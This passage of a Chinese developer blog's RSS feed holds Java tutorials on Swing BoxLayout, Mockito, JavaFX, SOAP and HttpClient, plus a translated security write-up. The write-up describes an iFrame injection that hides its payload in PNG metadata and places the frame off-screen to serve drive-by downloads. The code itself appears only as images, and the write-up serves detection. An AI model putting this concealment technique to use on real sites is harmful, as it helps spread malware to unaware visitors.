&lt;p&gt;如前所述，BoxLayout 可以把控件依次进行水平或者垂直排列布局，这是通过参数 X_AXIS、Y_AXIS 来决定的。X_AXIS 表示水平排列，而 Y_AXIS 表示垂直排列。BoxLayout 的构造函数有两个参数，一个参数定义使用该 BoxLayout 的容器，另一个参数是指定 BoxLayout 是采用水平还是垂直排列。下面是一个创建 BoxLayout 实例的例子：&lt;/p&gt;
&lt;div&gt;
&lt;pre&gt; JPanel panel=new JPanel(); 
 BoxLayout layout=new BoxLayout(panel, BoxLayout.X_AXIS); 
 panel.setLayout(layoout);&lt;/pre&gt;
&lt;/div&gt;
在这个例子中，一个 BoxLayout 布局管理器的实例 layout 被创建，这个实例被设置为 panel 的布局管理器，该布局管理器采用了水平排列来排列控件。
&lt;p&gt;当 BoxLayout 进行布局时，它将所有控件依次按照控件的优先尺寸按照顺序的进行水平或者垂直放置，假如布局的整个水平或者垂直空间的尺寸不能放下所有控件，那么 BoxLayout 会试图调整各个控件的大小来填充整个布局的水平或者垂直空间。&lt;/p&gt;
&lt;p&gt;BoxLayout 往往和 Box 这个容器结合在一起使用，这么做的理由是，BoxLayout 是把控件以水平或者垂直的方向一个接一个的放置，如果要调整这些控件之间的空间，就会需要使用 Box 容器提供的透明的组件作为填充来填充控件之间的空间，从而达到调整控件之间的间隔空间的目的。Box 容器提供了 4 种透明的组件，分别是 rigid area、strut、glue、filler。Box 容器分别提供了不同的方法来创建这些组件。这四个组件的特点如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Rigid area 是一种用户可以定义水平和垂直尺寸的透明组件；&lt;/li&gt;
&lt;li&gt;strut 与 rigid area 类似，但是用户只能定义一个方向的尺寸，即水平方向或者垂直方向，不能同时定义水平和垂直尺寸；&lt;/li&gt;
&lt;li&gt;当用户将 glue 放在两个控件之间时，它会尽可能的占据两个控件之间的多余空间，从而将两个控件挤到两边；&lt;/li&gt;
&lt;li&gt;Filler 是 Box 的内部类，它与 rigid area 相似，都可以指定水平或者垂直的尺寸，但是它可以设置最小，最大和优先尺寸。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;用-boxlayout-进行布局&#34;&gt;用 BoxLayout 进行布局&lt;/h2&gt;
&lt;p&gt;在了解了 BoxLayout 和 Box 容器的基本特点后，我们来看一下 BoxLayout 的优点，首先 BoxLayout 可以进行对控件进行垂直或者水平布局，同时 BoxLayout 使用起来较为简单，然而把它和 Box 容器相结合，就可以进行较为复杂的布局，达到同使用 GridBagLayout 的一样的效果，但是使用起来要简单方便多了。我们用按钮的布局作为例子来看怎样运用 BoxLayout 和 Box 容器进行布局：&lt;/p&gt;
&lt;h5 id=&#34;图-1-应用-boxlayout-进行按钮布局例子-1&#34;&gt;图 1. 应用 BoxLayout 进行按钮布局例子 1&lt;/h5&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/03/image003.jpg&#34;&gt;&lt;img alt=&#34;image003&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3f7f662b57a56e94f2e43da95973ee61d0735286.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]使用Mockito简单mock入门</title>
      <link>http://blog.leaver.me/2014/03/01/%E8%AF%91%E4%BD%BF%E7%94%A8mockito%E7%AE%80%E5%8D%95mock%E5%85%A5%E9%97%A8/</link>
      <pubDate>Sat, 01 Mar 2014 10:57:33 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/03/01/%E8%AF%91%E4%BD%BF%E7%94%A8mockito%E7%AE%80%E5%8D%95mock%E5%85%A5%E9%97%A8/</guid>
      <description>&lt;p&gt;我们在写单元测试的时候，面临的一个挑战就是要测试的内容总是依赖于其他组件，要是我们还得先配置好其他组件，未免有点不如意，那么我们可以使用Mocks来代替那些依赖的组件&lt;/p&gt;
&lt;p&gt;本文问了展示这个过程，我会创建一个DAL，数据访问层，这是一个类，提供了一个通用的api来访问和修改数据仓库的数据，然后，我们要测试这个api，而不用配置连接某个本地的数据库，，或者一个远程的数据库，或者是一个文件系统，反正就是任何放数据的东西，DAL层的好处就是隔离开了数据访问和应用程序代码&lt;/p&gt;
&lt;p&gt;首先使用maven来创建一个工程&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;mvn archetype:generate -DgroupId=info.sanaulla -DartifactId=MockitoDemo -DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false&lt;/pre&gt;
&lt;p&gt;执行之后，本地生成MockitoDemo 文件夹，然后整个工程的目录结构与生成好了。&lt;/p&gt;
&lt;p&gt;然后，我们写这样一个model类，表示book类型&lt;/p&gt;
&lt;pre class=&#34;lang:java decode:true&#34;&gt;package info.sanaulla.models;

import java.util.List;

/**
* Model class for the book details.
*/
public class Book {

  private String isbn;
  private String title;
  private List&amp;lt;String&amp;gt; authors;
  private String publication;
  private Integer yearOfPublication;
  private Integer numberOfPages;
  private String image;

  public Book(String isbn,
              String title,
              List&amp;lt;String&amp;gt; authors,
              String publication,
              Integer yearOfPublication,
              Integer numberOfPages,
              String image){

    this.isbn = isbn;
    this.title: = title;
    this.authors = authors;
    this.publication = publication;
    this.yearOfPublication = yearOfPublication;
    this.numberOfPages = numberOfPages;
    this.image = image;

  }

  public String getIsbn() {
    return isbn;
  }

  public String getTitle() {
    return title;
  }

  public List&amp;lt;String&amp;gt; getAuthors() {
    return authors;
  }

  public String getPublication() {
    return publication;
  }

  public Integer getYearOfPublication() {
    return yearOfPublication;
  }

  public Integer getNumberOfPages() {
    return numberOfPages;
  }

  public String getImage() {
    return image;
  }
}&lt;/pre&gt;
&lt;p&gt;然后，我们访问Book model的DAL类会如下&lt;/p&gt;
&lt;pre class=&#34;lang:java decode:true&#34;&gt;package info.sanaulla.dal;

import info.sanaulla.models.Book;

import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;

/**
* API layer for persisting and retrieving the Book objects.
*/
public class BookDAL {

  private static BookDAL bookDAL = new BookDAL();

  public List&amp;lt;Book&amp;gt; getAllBooks(){
      return Collections.EMPTY_LIST;
  }

  public Book getBook(String isbn){
      return null;
  }

  public String addBook(Book book){
      return book.getIsbn();
  }

  public String updateBook(Book book){
      return book.getIsbn();
  }

  public static BookDAL getInstance(){
      return bookDAL;
  }
}&lt;/pre&gt;
&lt;p&gt;DAL层现在还没啥功能，我们要通过TDD来测试，实际中，DAL可能和ORM来交互，也可能和数据库API交互，但是我们设计DAL的时候，不用关心&lt;/p&gt;</description>
    </item>
    <item>
      <title>尝试JavaFX开发</title>
      <link>http://blog.leaver.me/2014/02/11/%E5%B0%9D%E8%AF%95javafx%E5%BC%80%E5%8F%91/</link>
      <pubDate>Tue, 11 Feb 2014 20:40:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/02/11/%E5%B0%9D%E8%AF%95javafx%E5%BC%80%E5%8F%91/</guid>
      <description>&lt;p&gt;曾经有报道说JavaFX将使java在桌面开发上大有作为，感觉好像是很高端的样子，今天尝试了一下，界面对于自用的工具来说，本来也不多重要，只是一个简单的尝试&lt;/p&gt;
&lt;p&gt;简单说下大致的步骤和一些思路，可能有错误。&lt;/p&gt;
&lt;p&gt;javafx需要sdk支持，java7之后的都有的。设计思路是数据和代码分离，界面通过xml或json数据来描述，这样就把业务逻辑代码和界面实现代码分开了&lt;/p&gt;
&lt;p&gt;一个简单的开发过程应该是这样的&lt;/p&gt;
&lt;p&gt;1.使用JavaFX Scene Builder来绘制界面，保存为xml/json格式&lt;/p&gt;
&lt;p&gt;画的话没啥要说的，了解一下基本的整体概念就行。&lt;/p&gt;
&lt;p&gt;2.在eclipse里新建工程，可以是普通工程，将1中的文件放到资源目录，在代码里加载，然后界面就加载成功了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Node topNode = FXMLLoader.load(AFI.class.getResource(&#34;/afimain.fxml&#34;));&lt;/pre&gt;
&lt;p&gt;逻辑代码，比如一个简单的按钮事件可以通过&lt;/p&gt;
&lt;pre&gt;Node node = topNode.lookup(&#34;#paneRightBottom&#34;);&lt;/pre&gt;
&lt;p&gt;来查找到id为paneRightBottom的元素，然后就可以通过对node添加事件监听器来完成一些功能了&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;主要想说的是：&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;JavaFX和WPF其实思路是一模一样的，恰好WPF我也用过，感觉两个都没搞起来，虽然界面炫，然后我去维基看了下：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;该产品于2007年5月在JavaOne大会上首次对外公布。JavaFX技术主要应用于创建Rich Internet application（&lt;a href=&#34;http://zh.wikipedia.org/wiki/RIA&#34; title=&#34;RIA&#34;&gt;RIAs&lt;/a&gt;）。JavaFX期望能够在桌面应用的开发领域与Adobe公司的AIR、&lt;a href=&#34;http://zh.wikipedia.org/w/index.php?title=OpenLaszlo&amp;amp;action=edit&amp;amp;redlink=1&#34; title=&#34;OpenLaszlo（页面不存在）&#34;&gt;OpenLaszlo&lt;/a&gt;以及&lt;a href=&#34;http://zh.wikipedia.org/wiki/%E5%BE%AE%E8%BD%AF&#34; title=&#34;微软&#34;&gt;微软&lt;/a&gt;公司的&lt;a href=&#34;http://zh.wikipedia.org/wiki/Silverlight&#34; title=&#34;Silverlight&#34;&gt;Silverlight&lt;/a&gt;相竞争
已经7年了，用户数应该是非常少的，&lt;strong&gt;成熟的商业型产品也没几个&lt;/strong&gt;，在尝试的过程中，我在stackoverflow，以及一些很不错的java博客上，大量查找基本也没有太多的信息，都是一些很浅的应用，包括stackoverflow上的回答数，基本还是能反映出来的，主要应用于RIA，而当前RIA已经出html5的天下了。SL早都不更新了，这种坑爹的所谓新技术。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;Oracle还是好好把Swing搞好吧。。不建议尝试。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>[藏]隐藏在PNG图像元数据中的新iFrame注入攻击</title>
      <link>http://blog.leaver.me/2014/02/09/%E8%97%8F%E9%9A%90%E8%97%8F%E5%9C%A8png%E5%9B%BE%E5%83%8F%E5%85%83%E6%95%B0%E6%8D%AE%E4%B8%AD%E7%9A%84%E6%96%B0iframe%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB/</link>
      <pubDate>Sun, 09 Feb 2014 09:23:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/02/09/%E8%97%8F%E9%9A%90%E8%97%8F%E5%9C%A8png%E5%9B%BE%E5%83%8F%E5%85%83%E6%95%B0%E6%8D%AE%E4%B8%AD%E7%9A%84%E6%96%B0iframe%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB/</guid>
      <description>&lt;p&gt;这个攻击方式很旧了，但手法相当不错，来自&lt;a href=&#34;http://www.lembed.com/new-iframe-injections-leverage-png-image-metadata/&#34;&gt;乐嵌网&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我们一直在努力保持领先的最新趋势，今天我们发现了一个非常有趣的事，这或者是我们之前没有发现，或者是刚发生的。 我们只能说这是新发现的。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;我们都了解的iFrame注入攻击，对吧？&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;了解一个iFrame注入&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;今天的iFrame 是非常标准的HTML标记，它是在自己网页中嵌入其他网站内容的简单方式。 被几乎所有的浏览器支持和百万计的网站使用，使用AdSense吗？ 那么你的网站中就有一个iFrame。&lt;/p&gt;
&lt;p&gt;我知道这东西很好，然而总是福祸相惜。&lt;/p&gt;
&lt;p&gt;今天的攻击，特别是当我们谈论路过式下载，首选是利用IFRAME标记。 它简单方便，只需简单的属性修改，攻击者可以稳妥的从另一个站点嵌入代码，并通过客户的浏览器不知不觉的加载。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;像这样：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/02/iframe-sample.png&#34;&gt;&lt;img alt=&#34;iframe-sample&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3da10af5e9e3a897cf39927ee28a0106f297880a.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;攻击者通常从其他网站嵌入的恶意文件，通常是一个PHP文件或类似的形式。 当然，这并不是唯一的方法，但是是最普遍的。 从检测和修复的角度来看，这往往很容易修复。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;新的iFrame注入法&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;然而今天，我们发现一个有趣的iFrame注入类型。&lt;/p&gt;
&lt;p&gt;它的特殊之处不是在iframe标签中嵌入的内容，而是它分发恶意软件的方式。 你会看到，攻击者将威胁隐藏在PNG文件中。&lt;/p&gt;
&lt;p&gt;我几乎可以听到很多你的窃笑，PFF .. 这不是新的…. 但问题是在细节上我的朋友。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;如下，iFrame加载了一个有效的文件，没有什么恶意，一个叫jquery.js的JavaScript文件。这一切看上去都很好。你要细细的找：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/02/blog_injection1-494x650.png&#34;&gt;&lt;img alt=&#34;blog_injection1-494x650&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/7f64ba23d5fd4d5763ff921134e11beede62faeb.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;起初，很多人会说我们傻。 这些代码很好，没看见什么问题，对不对？ 然后，我们注意到了这个小函数，loadFile（）。 函数本身并不奇怪，但事实上，它是装载一个PNG-&lt;strong&gt;var strFile = ‘./dron.png&lt;/strong&gt;。 你会被它惊讶良久，它才是一个真正的黑手。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;自然，下一步就是好奇的打开dron.png文件。 会有什么可怕的事情发生吗？&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;噢，什么都没有，太无聊了，这纯粹是浪费时间。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/02/Sucuri-iframe-png.png&#34;&gt;&lt;img alt=&#34;Sucuri-iframe-png&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/0d8a2bcd6d6e5a6ac87f8858fe8f0a81878d6bbc.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;但是，请等一下，我发现这里有个有趣的小循环。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/02/Sucuri-PNG-Decoding-Loop.png&#34;&gt;&lt;img alt=&#34;Sucuri-PNG-Decoding-Loop&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8c17a78234586bebb89f023d8023b6b69d9f574b.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;嗯，这是确实挺奇怪的，这是一个解码循环。 为什么要一个循环的解码PNG文件呢？&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;作为一个优秀的研究人员，采取最简单的方式，我可以将它加载到简单的测试页上 并提取图像内容。搞定！&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;测试页上加载它之后这，我们获得了strData变量：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2014/02/sucuri-png-iframe-payload.png&#34;&gt;&lt;img alt=&#34;sucuri-png-iframe-payload&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4a1a1266a40ff50c6d0328eea9c9e849e043ae05.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;看到它在干嘛了吗？&lt;/p&gt;
&lt;p&gt;它做了个iFrame注入，并把它嵌入到PNG的元数据中，像一个新的分配机制。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;有两点需要特别注意了，它使用&lt;strong&gt;createElement&lt;/strong&gt;做了一个&lt;strong&gt;iFrame&lt;/strong&gt;标签**，&lt;strong&gt;然后设置&lt;/strong&gt;elm.style.position.left 和 elm.style.position.top **属性的值为-1000px，把iframe放到可视区域之外。这些值都是负值，在浏览器中根本看不到。但是你知道谁能看到吗？只有浏览器和Google能看到。这就是下载驱动和搜索引擎感染（SEP)攻击的小伎俩。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;最后我们在&lt;strong&gt;elm.src&lt;/strong&gt;元素中发现了真正的威胁**。**&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;做的这么独特到底有什么用呢？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;它尽力隐藏真正的威胁的水平是独特的。现在的杀毒软件不会解码图像元数据，直到JavaScript文件加载完毕就停止扫描。不会追踪cookie文件，对于攻击者来说，这太好了，使它们很难被发现。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;记住一点，尽管我们这里谈论的是PNG文件，这些方法和概念也可以应用到其他类型图像中。重要的一点是：留意你的web 服务状态，了解哪些修改和未修改的文件并确保漏洞未被利用。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;通常情况下，一些新的侦查和排障需要一定的时间。 现在我们的 网站恶意软件扫描器能发现它吗 ？ 绝对可以！&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;不要笑了，朋友们！&lt;/p&gt;
&lt;p&gt;原文：&lt;a href=&#34;http://blog.sucuri.net/2014/02/new-iframe-injections-leverage-png-image-metadata.html&#34;&gt;new-iframe-injections-leverage-png-image-metadata&lt;/a&gt; by Peter Gramantik&lt;/p&gt;</description>
    </item>
    <item>
      <title>[笔记]写代码遇到的一些问题汇总下</title>
      <link>http://blog.leaver.me/2014/02/08/%E7%AC%94%E8%AE%B0%E5%86%99%E4%BB%A3%E7%A0%81%E9%81%87%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9B%E9%97%AE%E9%A2%98%E6%B1%87%E6%80%BB%E4%B8%8B/</link>
      <pubDate>Sat, 08 Feb 2014 11:06:51 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/02/08/%E7%AC%94%E8%AE%B0%E5%86%99%E4%BB%A3%E7%A0%81%E9%81%87%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9B%E9%97%AE%E9%A2%98%E6%B1%87%E6%80%BB%E4%B8%8B/</guid>
      <description>&lt;p&gt;本篇是用来填&lt;a href=&#34;http://leaver.me/archives/3454.html&#34;&gt;上一篇 &lt;/a&gt;挖下的坑的。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;1.java调用webservice&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;有一些已有的webservice服务，由xfire生成发布，有些有参数，有些无参数，无参数的直接我直接使用org.codehaus.xfire这个包里的Client来动态生成客户端。然后调用就可以了。非常简单&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Client client = null;
		try {
			client = new Client(
					new URL(
							&#34;http://leaver.me/testService?wsdl&#34;));
			client.invoke(&#34;refreshAllCache&#34;, new Object[0]);

		} catch (MalformedURLException e) {

			e.printStackTrace();
		} catch (Exception e) {

			e.printStackTrace();
		}&lt;/pre&gt;
&lt;p&gt;但对于有参的，且是服务器自定义的类作为参数的时候，实在是搞不定。。不管是把自定义的类放到本地，包名一致，在invoke的时候生成这个对象还是其他什么方法。都无法完成。&lt;/p&gt;
&lt;p&gt;最终换了直接发送soap报文来完成。dirty hack啊。如果你有一些好的方法希望不吝赐教。&lt;/p&gt;
&lt;p&gt;解决方案来源自&lt;a href=&#34;http://stackoverflow.com/a/15942217/764869&#34;&gt;stackoverflow&lt;/a&gt;，因为stackoverflow现在国内好像有时候打不开。因此把代码贴过来。有疑问的话留言讨论。&lt;/p&gt;
&lt;pre class=&#34;lang:java decode:true&#34;&gt;import javax.xml.soap.*;
import javax.xml.transform.*;
import javax.xml.transform.stream.*;

public class SOAPClientSAAJ {

    /**
     * Starting point for the SAAJ - SOAP Client Testing
     */
    public static void main(String args[]) {
        try {
            // Create SOAP Connection
            SOAPConnectionFactory soapConnectionFactory = SOAPConnectionFactory.newInstance();
            SOAPConnection soapConnection = soapConnectionFactory.createConnection();

            // Send SOAP Message to SOAP Server
            String url = &#34;http://ws.cdyne.com/emailverify/Emailvernotestemail.asmx&#34;;
            SOAPMessage soapResponse = soapConnection.call(createSOAPRequest(), url);

            // Process the SOAP Response
            printSOAPResponse(soapResponse);

            soapConnection.close();
        } catch (Exception e) {
            System.err.println(&#34;Error occurred while sending SOAP Request to Server&#34;);
            e.printStackTrace();
        }
    }

    private static SOAPMessage createSOAPRequest() throws Exception {
        MessageFactory messageFactory = MessageFactory.newInstance();
        SOAPMessage soapMessage = messageFactory.createMessage();
        SOAPPart soapPart = soapMessage.getSOAPPart();

        String serverURI = &#34;http://ws.cdyne.com/&#34;;

        // SOAP Envelope
        SOAPEnvelope envelope = soapPart.getEnvelope();
        envelope.addNamespaceDeclaration(&#34;example&#34;, serverURI);

        /*
        Constructed SOAP Request Message:
        &amp;lt;SOAP-ENV:Envelope xmlns:SOAP-ENV=&#34;http://schemas.xmlsoap.org/soap/envelope/&#34; xmlns:example=&#34;http://ws.cdyne.com/&#34;&amp;gt;
            &amp;lt;SOAP-ENV:Header/&amp;gt;
            &amp;lt;SOAP-ENV:Body&amp;gt;
                &amp;lt;example:VerifyEmail&amp;gt;
                    &amp;lt;example:email&amp;gt;mutantninja@gmail.com&amp;lt;/example:email&amp;gt;
                    &amp;lt;example:LicenseKey&amp;gt;123&amp;lt;/example:LicenseKey&amp;gt;
                &amp;lt;/example:VerifyEmail&amp;gt;
            &amp;lt;/SOAP-ENV:Body&amp;gt;
        &amp;lt;/SOAP-ENV:Envelope&amp;gt;
         */

        // SOAP Body
        SOAPBody soapBody = envelope.getBody();
        SOAPElement soapBodyElem = soapBody.addChildElement(&#34;VerifyEmail&#34;, &#34;example&#34;);
        SOAPElement soapBodyElem1 = soapBodyElem.addChildElement(&#34;email&#34;, &#34;example&#34;);
        soapBodyElem1.addTextNode(&#34;mutantninja@gmail.com&#34;);
        SOAPElement soapBodyElem2 = soapBodyElem.addChildElement(&#34;LicenseKey&#34;, &#34;example&#34;);
        soapBodyElem2.addTextNode(&#34;123&#34;);

        MimeHeaders headers = soapMessage.getMimeHeaders();
        headers.addHeader(&#34;SOAPAction&#34;, serverURI  + &#34;VerifyEmail&#34;);

        soapMessage.saveChanges();

        /* Print the request message */
        System.out.print(&#34;Request SOAP Message = &#34;);
        soapMessage.writeTo(System.out);
        System.out.println();

        return soapMessage;
    }

    /**
     * Method used to print the SOAP Response
     */
    private static void printSOAPResponse(SOAPMessage soapResponse) throws Exception {
        TransformerFactory transformerFactory = TransformerFactory.newInstance();
        Transformer transformer = transformerFactory.newTransformer();
        Source sourceContent = soapResponse.getSOAPPart().getContent();
        System.out.print(&#34;\nResponse SOAP Message = &#34;);
        StreamResult result = new StreamResult(System.out);
        transformer.transform(sourceContent, result);
    }

}&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;2.Access restriction on class due to restriction on required library rt.jar? 报错&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>[笔记]写代码遇到的一些问题汇总上</title>
      <link>http://blog.leaver.me/2014/02/04/%E7%AC%94%E8%AE%B0%E5%86%99%E4%BB%A3%E7%A0%81%E9%81%87%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9B%E9%97%AE%E9%A2%98%E6%B1%87%E6%80%BB%E4%B8%8A/</link>
      <pubDate>Tue, 04 Feb 2014 19:13:26 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/02/04/%E7%AC%94%E8%AE%B0%E5%86%99%E4%BB%A3%E7%A0%81%E9%81%87%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9B%E9%97%AE%E9%A2%98%E6%B1%87%E6%80%BB%E4%B8%8A/</guid>
      <description>&lt;p&gt;今天大雪，天冷，不能出去玩了。把保存在pocket里的一些记录总结一下，太懒了。。下篇等我去了上海用我电脑写吧&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;1.java模拟https登陆&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;首先我要登陆，然后保存cookie，然后利用cookie来访问后续的网页，发包，处理包这样，然后，为了方便，我选择了 org.apache.http 这个库，典型的一个登陆场景应该是这样的，以后遇到问题一定先要去看官方的例子，别人给出的例子一般要么是不能用，要么是用的方法都是一些过时的，虽然能用，但看到警告还是不舒服。&lt;/p&gt;
&lt;pre class=&#34;lang:java decode:true&#34;&gt;public static BasicCookieStore cookieStore;
//整个过程用一个client
public static CloseableHttpClient httpclient;
cookieStore = new BasicCookieStore();
httpclient = HttpClients.custom().setDefaultCookieStore(cookieStore).build();
//先访问一下首页，然后cookie、会填充进来
HttpGet httpget = new HttpGet(&#34;https://leaver.me/index.htm&#34;);
httpclient.execute(httpget);
CloseableHttpResponse responseCookie = null;
//然后post请求登陆
HttpPost httpost = new HttpPost(&#34;https://leaver.me/login.htm&#34;);
//通过键值对来作为post参数
List &amp;lt; NameValuePair &amp;gt; nameValuePairs = new ArrayList &amp;lt; NameValuePair &amp;gt; (1);
nameValuePairs.add(new BasicNameValuePair(&#34;loginType&#34;, &#34;1&#34;));
nameValuePairs.add(new BasicNameValuePair(&#34;loginName&#34;, username));
nameValuePairs.add(new BasicNameValuePair(&#34;Password&#34;, password));
httpost.setEntity(new UrlEncodedFormEntity(nameValuePairs, Consts.UTF_8));
CloseableHttpResponse responLogin = null;
responLogin = httpclient.execute(httpost);&lt;/pre&gt;
&lt;p&gt;但是，这个过程报了如下的错&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;e: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target&lt;/pre&gt;
&lt;p&gt;google之，发现时访问https的原因。需要先安装对应站点的证书。这里要用到一个通用的java类，我贴下&lt;a href=&#34;http://pan.baidu.com/s/1sjMyvgx&#34;&gt;链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;编译这个工具类，然后执行java InstallCert &amp;lt;host&amp;gt;[:port] 会生成一个证书文件&lt;/p&gt;
&lt;p&gt;然后在项目里通过&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;System.setProperty(&#34;javax.net.ssl.trustStore&#34;,
				&#34;证书路径&#34;);&lt;/pre&gt;
&lt;p&gt;设置即可，你可以吧证书文件放到资源目录，就更好了。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;2.java正则替换反斜线&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;我在某个地方需要把字符串里的所有反斜线替换成两个，我就写了&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;str.replaceAll(&#34;\\&#34;,&#34;\\\\&#34;)&lt;/pre&gt;
&lt;p&gt;结果发现我还是too young,实际上，&lt;/p&gt;
&lt;p&gt;java replaceAll() 方法要用 4 个反斜杠,表示一个反斜杠 例如&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;str1=&#34;aa\bbb&#34;;&lt;/pre&gt;
&lt;p&gt;要想替换成&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;str1=&#34;aa\\bbb&#34;;&lt;/pre&gt;
&lt;p&gt;必须这样替换：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;str1 = str1.replaceAll(&#34;\\\\&#34;, &#34;\\\\\\\\&#34;);&lt;/pre&gt;
&lt;p&gt;原因如下： String 的 replaceAll（） 方法，实际是采用正则表达式的规则去匹配的， \\ ，java解析为\交给正则表达式， 正则表达式再经过一次转换，把\转换成为\ 也就是java里面要用正则来表示一个. 必须写成4个\ 如果要表示\，那就要写8个\ 所以如果写成： str1 = str1.replaceAll(&amp;quot;\&amp;quot;, &amp;ldquo;\\&amp;rdquo;); 就会报正则表达式的错误。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;3.httpClient如何模拟表单上传文件&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;这个还是要去看官方例子，网上没找到，需要添加&lt;/p&gt;
&lt;p&gt;org.apache.http.entity包&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;//文件部分
FileBody csvFile = null;
//表单的其他部分
StringBody filelog = null;
StringBody dataItemDefine = null;
csvFile = new FileBody(new File(file));
filelog = new StringBody(&#34;ADD&#34;, ContentType.TEXT_PLAIN);
dataItemDefine = new StringBody(GlobalSetting.getValueOfKey(type), ContentType.TEXT_PLAIN);
//关键代码,此处来构造请求数据
HttpEntity reqEntity = MultipartEntityBuilder.create().addPart(&#34;filelog&#34;, changeLogAction).addPart(&#34;dataItemDefine&#34;, dataItemDefine).addPart(&#34;fileName&#34;, csvFile).build();
HttpPost httppost = new HttpPost(&#34;https://leaver.me/uploadFile.action&#34;);
httppost.setEntity(reqEntity);
CloseableHttpResponse response = null;
response = httpclient.execute(httppost);&lt;/pre&gt;
&lt;p&gt;其他都和普通的post请求没啥区别了&lt;/p&gt;</description>
